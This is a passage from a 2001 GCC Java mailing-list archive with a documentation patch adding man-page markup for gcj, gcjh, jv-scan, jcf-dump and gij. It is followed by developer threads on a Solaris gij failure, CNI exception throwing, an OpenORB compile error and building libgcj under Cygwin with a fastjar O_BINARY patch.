$(man1dir)/gcjh$(manext) + -$(INSTALL_DATA) $(srcdir)/java/gcjh.1 $(man1dir)/gcjh$(manext) + -chmod a-x $(man1dir)/gcjh$(manext) + -rm -f $(man1dir)/jv-scan$(manext) + -$(INSTALL_DATA) $(srcdir)/java/jv-scan.1 $(man1dir)/jv-scan$(manext) + -chmod a-x $(man1dir)/jv-scan$(manext) + -rm -f $(man1dir)/jcf-dump$(manext) + -$(INSTALL_DATA) $(srcdir)/java/jcf-dump.1 $(man1dir)/jcf-dump$(manext) + -chmod a-x $(man1dir)/jcf-dump$(manext) + -rm -f $(man1dir)/gij$(manext) + -$(INSTALL_DATA) $(srcdir)/java/gij.1 $(man1dir)/gij$(manext) + -chmod a-x $(man1dir)/gij$(manext) diff -b -r -u --exclude=Makefile --exclude=configure gcc-3.0/gcc/java/gcj.texi gcc-3.0.x/gcc/java/gcj.texi --- gcc-3.0/gcc/java/gcj.texi Fri Jun 8 23:43:45 2001 +++ gcc-3.0.x/gcc/java/gcj.texi Mon Jul 2 22:56:13 2001 @@ -7,6 +7,10 @@ @c This is necessary due to Sun's restrictions on the use of @c the word ``Java'. +@macro gcctabopt{body} +@code{\body\} +@end macro + @c When this manual is copyrighted. @set copyrights-gcj 2001 @@ -42,6 +46,21 @@ texts being (a) (see below), and with the Back-Cover Texts being (b) (see below). A copy of the license is included in the section entitled ``GNU Free Documentation License''. +Copyright (C) @value{copyrights-gcj} Free Software Foundation, Inc. + +@ignore +@c man begin COPYRIGHT +Copyright (C) 2001 Free Software Foundation, Inc. + +Permission is granted to copy, distribute and/or modify this document +under the terms of the GNU Free Documentation License, Version 1.1 or +any later version published by the Free Software Foundation; with the +Invariant Sections being ``GNU General Public License'', the Front-Cover +texts being (a) (see below), and with the Back-Cover Texts being (b) +(see below). A copy of the license is included in the section entitled +``GNU Free Documentation License''. +@c man end +@end ignore (a) The FSF's Front-Cover Text is: @@ -511,11 +530,32 @@ @node Invoking gcj @chapter Invoking gcj +@c man title gcj Ahead-of-time compiler for the Java language + +@ignore +@c man begin SYNOPSIS gcj +gcj [@option{-I}@var{dir}@dots{}] [@option{-d}@var{dir}@dots{}] + [@option{--classpath}=@var{path}] [@option{--CLASSPATH}=@var{path}] + [@option{-f}@var{option}@dots{}] [@option{--encoding}@var{name}] + [@option{--main=}@var{classname}] [@option{-C}] + [@option{-W}@var{warn}@dots{}] [@option{-D}@var{name}[=@var{value}]@dots{}] + @var{sourcefile}@dots{} +@c man end +@c man begin SEEALSO gcj +gcc(1), gcjh(1), gij(1), jv-scan(1), jcf-dump(1), +and the Info entries for @file{gcj} and @file{gcc}. +@c man end +@end ignore + +@c man begin DESCRIPTION gcj + As @code{gcj} is just another front end to @code{gcc}, it supports many of the same options as gcc. @xref{Option Summary, , Option Summary, gcc, Using the GNU Compiler Collection}. This manual only documents the options specific to @code{gcj}. +@c man end + @menu * Input and output files:: * Input Options:: How gcj finds files @@ -525,6 +565,8 @@ * Configure-time Options:: Options you won't use @end menu +@c man begin OPTIONS gcj + @node Input and output files @section Input and output files @@ -532,7 +574,7 @@ consists of a number of options and file names. The following kinds of input file names are supported: -@table @code +@table @gcctabopt @item @var{file}.java Java source files. @item @var{file}.class @@ -583,7 +625,7 @@ actual directory on the filesystem, or to a @file{.zip} or @file{.jar} file, which @code{gcj} will search as if it is a directory. -@table @code +@table @gcctabopt @item -I@var{dir} All directories specified by @code{-I} are kept in order and prepended to the class path constructed from all the other options. Unless @@ -636,7 +678,7 @@ @code{-fforce-classes-archive-check} can be used to overide this behavior in this particular case.) -@table @code +@table @gcctabopt @item -fforce-classes-archive-check This forces the compiler to always check for the special zero length attribute @code{gnu.gcj.gcj-compiled} in @code{java.lang.Object} and @@ -678,7 +720,7 @@ document the form of the warning which will have an effect -- the default being the opposite of what is listed. -@table @code +@table @gcctabopt @item -Wredundant-modifiers With this flag, @code{gcj} will warn about redundant modifiers. For instance, it will warn if an interface method is declared @code{public}. @@ -707,7 +749,7 @@ In addition to the many @code{gcc} options controlling code generation, @code{gcj} has several options specific to itself. -@table @code +@table @gcctabopt @item --main=@var{CLASSNAME} This option is used when linking to specify the name of the class whose @code{main} method should be invoked when the resulting executable is @@ -760,7 +802,7 @@ options are listed here for completeness; if you are using @code{libgcj} then you won't want to touch these options. -@table @code +@table @gcctabopt @item -fuse-boehm-gc This enables the use of the Boehm GC bitmap marking code. In particular this causes @code{gcj} to put an object marking descriptor into each @@ -778,6 +820,7 @@ dividing by zero. @end table +@c man end @node Compatibility @chapter Compatibility with the Java Platform @@ -815,12 +858,37 @@ @node Invoking gcjh @chapter Invoking gcjh +@c man title gcjh generate header files from Java class files + +@c man begin DESCRIPTION gcjh + The @code{gcjh} program is used to generate header files from class files. It can generate both CNI and JNI header files, as well as stub implementation files which can be used as a basis for implementing the required native methods. -@table @code +@c man end + +@ignore +@c man begin SYNOPSIS gcjh +gcjh [@option{-stubs}] [@option{-jni}] + [@option{-add}@var{text}] [@option{-append}@var{text}] [@option{-friend}@var{text}] [@option{-preprend}@var{text}] + [@option{--classpath}=@var{path}] [@option{--CLASSPATH}=@var{path}] + [@option{-I}@var{dir}@dots{}] [@option{-d}@var{dir}@dots{}] + [@option{-o}@var{file}] [@option{-td}@var{dir}] + [@option{-M}] [@option{-MM}] [@option{-MD}] [@option{-MMD}] + [@option{--version}] [@option{--help}] [@option{-v}] [@option{--verbose}] + @var{classname}@dots{} +@c man end +@c man begin SEEALSO gcjh +gcc(1), gcj(1), gij(1), jv-scan(1), jcf-dump(1), +and the Info entries for @file{gcj} and @file{gcc}. +@c man end +@end ignore + +@c man begin OPTIONS gcjh + +@table @gcctabopt @item -stubs This causes @code{gcjh} to generate stub files instead of header files. By default the stub file will be named after the class, with a suffix of @@ -860,24 +928,61 @@ @item -td @var{directory} Sets the name of the directory to use for temporary files. +@item -M +Print all dependencies to stdout; suppress ordinary output. + +@item -MM +Print non-system dependencies to stdout; suppress ordinary output. + +@item -MD +Print all dependencies to stdout. + +@item -MMD +Print non-system dependencies to stdout. + @item --help Print help about @code{gcjh} and exit. No further processing is done. @item --version Print version information for @code{gcjh} and exit. No further processing is done. + +@item -v, --verbose +Print extra information while running. @end table All remaining options are considered to be names of classes. +@c man end @node Invoking jv-scan @chapter Invoking jv-scan +@c man title jv-scan print information about Java source file + +@c man begin DESCRIPTION jv-scan + The @code{jv-scan} program can be used to print information about a Java source file (@file{.java} file). -@table @code +@c man end + +@ignore +@c man begin SYNOPSIS jv-scan +jv-scan [@option{--complexity}] [@option{--encoding}@var{name}] + [@option{--print-main}] [@option{--list-class}] [@option{--list-filename}] + [@option{--version}] [@option{--help}] + [@option{-o}@var{file}] @var{inputfile}@dots{} +@c man end +@c man begin SEEALSO jv-scan +gcc(1), gcj(1), gcjh(1), gij(1), jcf-dump(1), +and the Info entries for @file{gcj} and @file{gcc}. +@c man end +@end ignore + +@c man begin OPTIONS jv-scan + +@table @gcctabopt @item --complexity This prints a complexity measure, related to cyclomatic complexity, for each input file. @@ -898,17 +1003,46 @@ @item -o @var{file} Print output to the named file. + +@item --help +Print help, then exit. + +@item --version +Print version number, then exit. @end table +@c man end @node Invoking jcf-dump @chapter Invoking jcf-dump +@c man title jcf-dump print information about Java class files + +@ignore +@c man begin SYNOPSIS jcf-dump +jcf-dump [@option{-c}] [@option{--javap}] + [@option{--classpath}=@var{path}] [@option{--CLASSPATH}=@var{path}] + [@option{-I}@var{dir}@dots{}] [@option{-o}@var{file}] + [@option{--version}] [@option{--help}] [@option{-v}] [@option{--verbose}] + @var{classname}@dots{} +@c man end +@c man begin SEEALSO jcf-dump +gcc(1), gcj(1), gcjh(1), gij(1), jcf-dump(1), +and the Info entries for @file{gcj} and @file{gcc}. +@c man end +@end ignore + +@c man begin DESCRIPTION jcf-dump + This is a class file examiner, similar to @code{javap}. It will print information about a number of classes, which are specifed by class name or file name. -@table @code +@c man end + +@c man begin OPTIONS jcf-dump + +@table @gcctabopt @item -c Disassemble method bodies. By default method bodies are not printed. @@ -921,12 +1055,42 @@ @itemx -I@var{directory} @itemx -o @var{file} These options as the same as the corresponding @code{gcj} options. + +@item --help +Print help, then exit. + +@item --version +Print version number, then exit. + +@item -v, --verbose +Print extra information while running. @end table +@c man end @node Invoking gij @chapter Invoking gij +@c man title gij GNU interpreter for Java bytecode + +@ignore +@c man begin SYNOPSIS gij +gij [@option{OPTION}] @dots{} @var{JARFILE} [@var{ARGS}@dots{}] + +gij [@option{-jar}] [@option{OPTION}] @dots{} @var{CLASS} [@var{ARGS}@dots{}] + + [@option{-D}@var{name}[=@var{value}]@dots{}] + [@option{-ms=}@var{number}] [@option{-mx=}@var{number}] + [@option{--version}] [@option{--help}] +@c man end +@c man begin SEEALSO gij +gcc(1), gcj(1), gcjh(1), jv-scan(1), jcf-dump(1), +and the Info entries for @file{gcj} and @file{gcc}. +@c man end +@end ignore + +@c man begin DESCRIPTION gij + @code{gij} is a Java bytecode interpreter included with @code{libgcj}. @code{gij} is not available on every platform; porting it requires a small amount of assembly programming which has not been done for all the @@ -952,7 +1116,11 @@ objects, it is possible to give @code{gij} the name of a class which has been compiled and put into a shared library on the class path. -@table @code +@c man end + +@c man begin OPTIONS gij + +@table @gcctabopt @item -D@var{name}[=@var{value}] This defines a system property named @var{name} with value @var{value}. If @var{value} is not specified then it defaults to the empty string. @@ -969,8 +1137,15 @@ @item -jar This indicates that the name passed to @code{gij} should be interpreted as the name of a jar file, not a class. + +@item --help +Print help, then exit. + +@item --version +Print version number, then exit. @end table +@c man end @node Resources @chapter Resources From java-return-6351-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 21:27:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29295 invoked by alias); 2 Jul 2001 21:27:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29261 invoked from network); 2 Jul 2001 21:27:12 -0000 Received: from unknown (HELO web13806.mail.yahoo.com) (216.136.175.16) by sourceware.cygnus.com with SMTP; 2 Jul 2001 21:27:12 -0000 Message-ID: <20010702212711.81069.qmail@web13806.mail.yahoo.com> Received: from [12.13.100.75] by web13806.mail.yahoo.com; Mon, 02 Jul 2001 14:27:11 PDT Date: Mon, 2 Jul 2001 14:27:11 -0700 (PDT) From: Weiqi Gao Subject: GCC 3.0, gij on Solaris 2.6 Sparc To: java@gcc.gnu.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Hi, I get a ClassNotFoundException when I try to run any Java class with gij on Solaris 2.6/Sparc. Strace shows the gij process went so far as to have read the class file that I'm trying to run, but was unable to either load it or link it, therefore throwing the ClassNotFoundException. This is not happening on Linux/Intel. I'm trying to build a modern version of gdb to debug the problem. At this moment, I'm just trying to see if other people also had the same problem. ===== Weiqi Gao weiqigao@yahoo.com __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From java-return-6352-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 02 21:59:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21142 invoked by alias); 2 Jul 2001 21:59:30 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21103 invoked from network); 2 Jul 2001 21:59:29 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 2 Jul 2001 21:59:29 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id TAA15891; Mon, 2 Jul 2001 19:00:28 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Mon, 2 Jul 2001 19:00:28 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Weiqi Gao cc: java@gcc.gnu.org Subject: Re: GCC 3.0, gij on Solaris 2.6 Sparc In-Reply-To: <20010702212711.81069.qmail@web13806.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 2 Jul 2001, Weiqi Gao wrote: > I get a ClassNotFoundException when I try to run any > Java class with gij on Solaris 2.6/Sparc. Strace > shows the gij process went so far as to have read the > class file that I'm trying to run, but was unable to > either load it or link it, therefore throwing the > ClassNotFoundException. The bytecode interpreter does not yet work on sparc. Jeff From java-return-6353-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 03:45:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13402 invoked by alias); 3 Jul 2001 03:45:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12030 invoked from network); 3 Jul 2001 03:44:54 -0000 Received: from unknown (HELO wf-rch.cirr.com) (24.7.109.109) by sourceware.cygnus.com with SMTP; 3 Jul 2001 03:44:54 -0000 Received: (from minyard@localhost) by wf-rch.cirr.com (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) id f633igR09405; Mon, 2 Jul 2001 22:44:42 -0500 To: apbianco@cygnus.com Cc: java-discuss@sources.redhat.com Subject: Re: A SEGV when compiling OpenOrb References: <15154.58728.758907.348212@fencer.cygnus.com> <15168.50861.344324.254578@fencer.cygnus.com> Reply-To: minyard@acm.org From: minyard@acm.org Date: 02 Jul 2001 22:44:41 -0500 In-Reply-To: Alexandre Petit-Bianco's message of "Mon, 2 Jul 2001 12:08:29 -0700 (PDT)" Message-ID: Lines: 30 X-Mailer: Gnus v5.7/Emacs 20.7 This indeed fixed the problem I was having. I compiled everything in OpenORB, and beyond missing java.lang.ThreadLocal and some missing XML stuff in a few files, I had the following anomolies: gcj -c -g -fPIC -O3 org/openorb/net/ServerManagerImpl.class org/openorb/net/ServerManagerImpl.java: In class `org.openorb.net.ServerManagerImpl': org/openorb/net/ServerManagerImpl.java: In method `org.openorb.net.ServerManagerImpl.extend_thread_pool(int)': org/openorb/net/ServerManagerImpl.java:1671: warning: Unreachable bytecode from 143 to before 146. gcj -c -g -fPIC -O3 org/openorb/net/ServerManagerImpl.class org/openorb/iiop/SocketQueue.java: In class `org.openorb.iiop.SocketQueue': org/openorb/iiop/SocketQueue.java: In method `org.openorb.iiop.SocketQueue.send(int)': org/openorb/iiop/SocketQueue.java:226: verification error at PC=231 org/openorb/iiop/SocketQueue.java:226: stack overflow Thanks, -Corey Alexandre Petit-Bianco writes: > minyard@acm.org writes: > > > Here's the GDB session: > > Can you please try the patch I posted for java/2633? I included it > below. > From java-return-6354-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 14:39:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28959 invoked by alias); 3 Jul 2001 14:39:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28930 invoked from network); 3 Jul 2001 14:39:34 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 3 Jul 2001 14:39:34 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15HRKq-0003HT-00 for ; Tue, 03 Jul 2001 15:39:28 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Tue, 03 Jul 2001 15:41:10 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Tue, 03 Jul 2001 15:30:35 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: throwing exceptions from CNI Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline What's the difference (if any) between: JvThrow ( new XXXException( ... ) ); and: throw new XXXException( ... ); The CNI doc specifies use of throw but in some of the code I can see use of JvThrow. Is there a difference? Nic From java-return-6355-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 14:50:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5234 invoked by alias); 3 Jul 2001 14:50:39 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5207 invoked from network); 3 Jul 2001 14:50:38 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 3 Jul 2001 14:50:38 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id LAA19119; Tue, 3 Jul 2001 11:53:28 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Tue, 3 Jul 2001 11:53:28 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Nic Ferrier cc: java@gcc.gnu.org Subject: Re: throwing exceptions from CNI In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 3 Jul 2001, Nic Ferrier wrote: > What's the difference (if any) between: > > JvThrow ( new XXXException( ... ) ); > > and: > > throw new XXXException( ... ); There is no difference anymore. Back when libgcj was written, g++ didn't understand a java `throw' operator. Jeff From java-return-6356-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 16:06:02 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25149 invoked by alias); 3 Jul 2001 16:06:01 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23945 invoked from network); 3 Jul 2001 16:04:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 3 Jul 2001 16:04:38 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA00413; Tue, 3 Jul 2001 10:04:23 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA13365; Tue, 3 Jul 2001 10:25:06 -0600 To: Jeff Sturm Cc: Nic Ferrier , java@gcc.gnu.org Subject: Re: throwing exceptions from CNI References: X-Zippy: YOW!! Now I understand advanced MICROBIOLOGY and th' new TAX REFORM laws!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 03 Jul 2001 10:25:04 -0600 In-Reply-To: Jeff Sturm's message of "Tue, 3 Jul 2001 11:53:28 -0400 (EDT)" Message-ID: <87d77iaskf.fsf@creche.redhat.com> Lines: 12 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: >> JvThrow ( new XXXException( ... ) ); >> throw new XXXException( ... ); Jeff> There is no difference anymore. Back when libgcj was written, Jeff> g++ didn't understand a java `throw' operator. Also, JvThrow is deprecated. Use `throw' in new code. Tom From java-return-6357-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 18:34:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31298 invoked by alias); 3 Jul 2001 18:34:41 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 30146 invoked from network); 3 Jul 2001 18:33:16 -0000 Received: from unknown (HELO btclick.com) (62.172.195.247) by sourceware.cygnus.com with SMTP; 3 Jul 2001 18:33:16 -0000 Received: from vengeance.int.acris.co.uk ([213.123.192.32]) by btclick.com (Netscape Messaging Server 4.05) with ESMTP id GFWU7802.AE5; Tue, 3 Jul 2001 19:33:08 +0100 Received: from acris.co.uk (minerva.int.acris.co.uk [192.168.42.3]) by vengeance.int.acris.co.uk (8.9.3/8.9.3) with ESMTP id UAA31918; Tue, 3 Jul 2001 20:19:26 +0100 Message-ID: <3B421165.1D114955@acris.co.uk> Date: Tue, 03 Jul 2001 19:39:33 +0100 From: Julian Hall X-Mailer: Mozilla 4.7 [en-gb] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: cygwin@cygwin.com, java@gcc.gnu.org Subject: Compiling libgjc under cygwin Content-Type: multipart/mixed; boundary="------------033BD3882DE327953D289E7B" This is a multi-part message in MIME format. --------------033BD3882DE327953D289E7B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi; I know that for the moment this is unsupported but I'm trying to get libgjc from the gcc-3.0 distribution to compile in a cygwin environment. I've figured out the following: - I've looked at win32-threads.cc and the threads porting documentation, and guess from the looks of it that it should work OK as distributed (?) - I modified configure so that it would recognise gcc's win32 thread model and choose win32-threads.cc - The resulting makefile had java.awt packages that failed to compile, so I simply removed all of the awt and related sources. I think the compilation errors here were due to the case-insensitivity of the file system: they were effectively errors about duplicate class definitions in (eg) image.java and Image.java. - java/util/natGregorianCalendar.cc wasn't compiling correctly; I had to forcibly undefine HAVE_TIMEZONE to persuade it to work, as the definition of 'timezone' it used was incompatible with the cygwin definition. - Fastjar required patching in order to function correctly; the patch I applied is attached, and simply causes files to be opened with the O_BINARY flag if it is defined. However, I am still faced with compile errors when it comes to linking the utilitty programs that are part of the library; the errors specifically are: ./.libs/libgcj.a(natClass.o): In function `ZN4java4lang5Class4sizeEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/lang/Class.h(.text$_ZN4java4lang5ClassC1Ev+0x0): multiple definition of `java::lang::Class::Class()' ./.libs/libgcj.a(Class.o):/usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/lang/Class.java:168: first defined here ./.libs/libgcj.a(win32-threads.o): In function `Z18_Jv_ThreadInitDataPN4java4lang6ThreadE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/win32-threads.cc:129: undefined reference to `operator new(unsigned)' ./.libs/libgcj.a(win32-threads.o): In function `Z21_Jv_ThreadDestroyDataP12_Jv_Thread_t': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/win32-threads.cc:138: undefined reference to `operator delete(void*)' ./.libs/libgcj.a(natFirstThread.o): In function `ZN3gnu3gcj7runtime11FirstThread3runEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/gnu/gcj/runtime/natFirstThread.cc:60: undefined reference to `JNI_OnLoad' /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/gnu/gcj/runtime/natFirstThread.cc:68: undefined reference to `JNI_OnLoad' ./.libs/libgcj.a(SimpleTimeZone.o)(.data+0x0):SimpleTimeZone.java: undefined reference to `Jv_byteVTable' ./.libs/libgcj.a(ZipEntry.o): In function `ZN4java4util3zip8ZipEntryC1EPNS_4lang6StringE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/zip/ZipEntry.java:65: undefined reference to `Jv_shortVTable' ./.libs/libgcj.a(GregorianCalendar.o)(.data+0x0):GregorianCalendar.java: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(GregorianCalendar.o): In function `ZN4java4util17GregorianCalendarC1EPNS0_8TimeZoneE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/GregorianCalendar.java:100: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(GregorianCalendar.o): In function 'ZN4java4util17GregorianCalendarC1EPNS0_8TimeZoneEPNS0_6LocaleE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/GregorianCalendar.java:113: undefined reference to `Jv_intVTable' ./.libs/libgcj.a(InetAddress.o): In function `ZN4java3net11InetAddressC1EP6JArrayIcEPNS_4lang6StringE': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/net/InetAddress.java:74: undefined reference to `Jv_byteVTable' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater3endEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/zip/natInflater.cc:53: undefined reference to `inflateEnd' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater7inflateEP6JArrayIcEii': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/zip/natInflater.cc:107: undefined reference to `inflate' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater5resetEv': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/zip/natInflater.cc:151: undefined reference to `inflateReset' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater13setDictionaryEP6JArrayIcEii': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/gcj/array.h:46: undefined reference to `inflateSetDictionary' ./.libs/libgcj.a(natInflater.o): In function `ZN4java4util3zip8Inflater4initEb': /usr/local/src/gcc-cygwin-w32threads/i686-pc-cygwin/libjava/../../../gcc-3.0/libjava/java/util/zip/natInflater.cc:200: undefined reference to `inflateInit2_' collect2: ld returned 1 exit status I've also tried configuring the entire system with --enable-threads=posix, but gcc is unable to compile correctly if I do this. Any ideas what needs to be done to solve these problems? Oh, and thanks for producing such great products; I've been using cygwin under windows for quite a while and have just started with gcj under linux and like the results so far! Great work. Jules --------------033BD3882DE327953D289E7B Content-Type: text/plain; charset=us-ascii; name="jartool.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="jartool.diff" --- jartool.c.orig Sat Jun 30 12:25:47 2001 +++ jartool.c Sat Jun 30 13:33:12 2001 @@ -206,11 +206,13 @@ #endif static char version_string[] = VERSION; +#ifndef errno /* errno may be a macro defined to call a function for threads */ extern int errno; +#endif void usage(const char*); void add_entry(struct zipentry *); void init_headers(void); @@ -363,21 +365,25 @@ } /* create the jarfile */ if(action == ACTION_CREATE){ if(file){ +#ifdef O_BINARY + jarfd = open(jarfile, O_CREAT | O_BINARY | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); +#else jarfd = creat(jarfile, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); - +#endif + if(jarfd < 0){ fprintf(stderr, "Error opening %s for writing!\n", jarfile); perror(jarfile); exit(1); } /* We assume that the file is seekable */ seekable = TRUE; } else { jarfd = STDOUT_FILENO; /* jarfd is stdout otherwise */ /* standard out is not seekable */ @@ -388,11 +394,15 @@ verbose = FALSE; } } else if(action == ACTION_LIST || action == ACTION_EXTRACT){ if(file){ +#ifdef O_BINARY + jarfd = open(jarfile, O_RDONLY | O_BINARY); +#else jarfd = open(jarfile, O_RDONLY); +#endif if(jarfd < 0){ fprintf(stderr, "Error opening %s for reading!\n", jarfile); perror(jarfile); exit(1); @@ -410,11 +420,15 @@ if(action == ACTION_CREATE || action == ACTION_UPDATE){ const char *arg; init_headers(); if((action == ACTION_UPDATE) && file) { +#ifdef O_BINARY + if((jarfd = open(jarfile, O_RDWR | O_BINARY)) < 0) { +#else if((jarfd = open(jarfile, O_RDWR)) < 0) { +#endif fprintf(stderr, "Error opening %s for reading!\n", jarfile); perror(jarfile); exit(1); } } @@ -867,11 +881,15 @@ closedir(dir); } else if(S_ISREG(statbuf.st_mode)){ int add_fd; +#ifdef O_BINARY + add_fd = open(file, O_RDONLY | O_BINARY); +#else add_fd = open(file, O_RDONLY); +#endif if(add_fd < 0){ fprintf(stderr, "Error opening %s.\n", file); return 0; } --------------033BD3882DE327953D289E7B-- From java-return-6358-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 03 19:55:22 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14739 invoked by alias); 3 Jul 2001 19:55:21 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14714 invoked from network); 3 Jul 2001 19:55:21 -0000 Received: from unknown (HELO TRINIDAD.enuvis.com) (216.217.189.165) by sourceware.cygnus.com with SMTP; 3 Jul 2001 19:55:21 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 content-class: urn:content-classes:message Subject: RE: Compiling libgjc under cygwin MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Tue, 3 Jul 2001 12:56:50 -0700 Message-ID: <6A12161B7896234F83FC0A5A64AEECD709FDB7@TRINIDAD.enuvis.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Compiling libgjc under cygwin Thread-Index: 